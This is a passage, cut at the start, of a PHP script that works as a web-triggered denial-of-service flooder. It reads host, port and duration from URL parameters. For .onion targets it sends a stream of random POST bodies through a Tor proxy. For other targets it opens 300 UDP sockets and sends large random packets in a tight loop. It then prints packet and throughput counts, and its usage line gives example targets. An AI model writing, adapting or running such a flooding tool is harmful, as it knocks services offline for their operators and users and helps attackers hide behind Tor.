65535 || $time < 1) { die("Invalid parameters! Port must be between 1 and 65535, time must be greater than 0."); } $is_onion = preg_match('/\.onion$/', $host); if ($is_onion) { $packets = 0; $start_time = microtime(true); $end_time = $start_time + $time; $packet_size = 657; $payload = generateRandomPayload($packet_size); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://$host:$port"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_PROXY, 'socks5h://127.0.0.1:9050'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); while (microtime(true) < $end_time) { $result = curl_exec($ch); if ($result === false) { echo "Error: " . curl_error($ch) . "\n"; } else { $packets++; } usleep(1); } curl_close($ch); } else { $packets = 0; $start_time = microtime(true); $end_time = $start_time + $time; $max_sockets = 300; $packet_size = 11507; $packet = generateRandomPayload($packet_size); $sockets = []; for ($i = 0; $i < $max_sockets; $i++) { $source_port = rand(1025, 65535); $socket = @fsockopen("udp://$host", $port, $errno, $errstr, 1); if ($socket) { $sockets[] = $socket; } else { echo "Error: Could not connect to $host:$port\n"; } } if (count($sockets) == 0) { die("No active sockets could be created.\n"); } while (microtime(true) < $end_time) { foreach ($sockets as $socket) { if ($socket && @fwrite($socket, $packet)) { $packets++; } } usleep(1); } foreach ($sockets as $socket) { if ($socket) { @fclose($socket); } } } $elapsed_time = microtime(true) - $start_time; $total_data_mb = round(($packets * $packet_size) / (1024 * 1024), 2); $pps = round($packets / $elapsed_time, 2); echo "$packets packets sent\n$total_data_mb MB of data\n$pps packets/sec"; } else { echo "Usage: ?host=&port=&time=\nExample: ?host=example.onion&port=80&time=60 or ?host=192.168.1.1&port=53&time=60\n"; } function generateRandomPayload($size) { $payload = ''; for ($i = 0; $i < $size; $i++) { $payload .= chr(rand(65, 90)); } return $payload; } ?>